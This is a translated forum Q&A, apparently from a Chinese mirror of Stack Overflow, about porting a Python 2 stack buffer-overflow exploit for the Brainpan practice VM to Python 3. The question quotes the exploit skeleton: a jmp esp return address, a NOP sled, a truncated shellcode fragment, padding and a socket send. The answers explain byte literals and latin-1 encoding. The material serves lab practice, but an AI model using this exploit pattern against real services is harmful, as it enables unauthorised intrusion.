[英]Using python 3 as a buffer overflow instead of Python 2
我正在嘗試使用 python3 而不是 Python 2 將緩沖區溢出推送到 Brainpan。 問題是python3以不同的方式轉換字節。 有誰知道如何以python3格式以簡單的方式推送字節?
可以在以下位置找到 python2 代碼的示例代碼: http : //blog.pentests.pl/2014/06/pentest-lab-brainpan-probably-the-fastest.html?m=1
取自頁面:
import sys,socket
eip = "\xf3\x12\x17\x31" #jmp esp address 0x311712f3
buf = "\x90"*10 #nop sled
buf += "\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
buf... {Code snipped}
payload = ("a"*524) + eip + buf
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect('192.168.0.xxx', 9999)
print s.recv(1024)
s.send(payload)
print s.recv(1024)
我試過s.send(payload.encode())
各種編碼。 據我所知,沒有任何效果。
嘗試使用字節文字,例如
eip = b"\xf3\x12\x17\x31"
buf = b"\x90"*10
buf += b"\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
並完全繞過編碼的需要。
我有同樣的錯誤,但另外發現\\x7F
之后的任何字符在壞字符測試后\\x7F
被破壞了; Python 3 似乎在每個字符之前插入隨機\\xC2
或\\xC3
。 有效的是在整個過程中使用字節文字或.encode('latin-1')
。 有反饋認為 latin-1 編碼並不總是有效,請參見此處,但我沒有遇到字節文字問題。
編輯:您可能會發現這些也很有用。 兩者都對 Python 3 使用 Latin-1 編碼。 http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Buffer_Overflow/Buffer_Overflow.pdf https://blog.lab26.net/vulnerable- vm-walkthrough-brainpan-1-binary-exploitation/
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.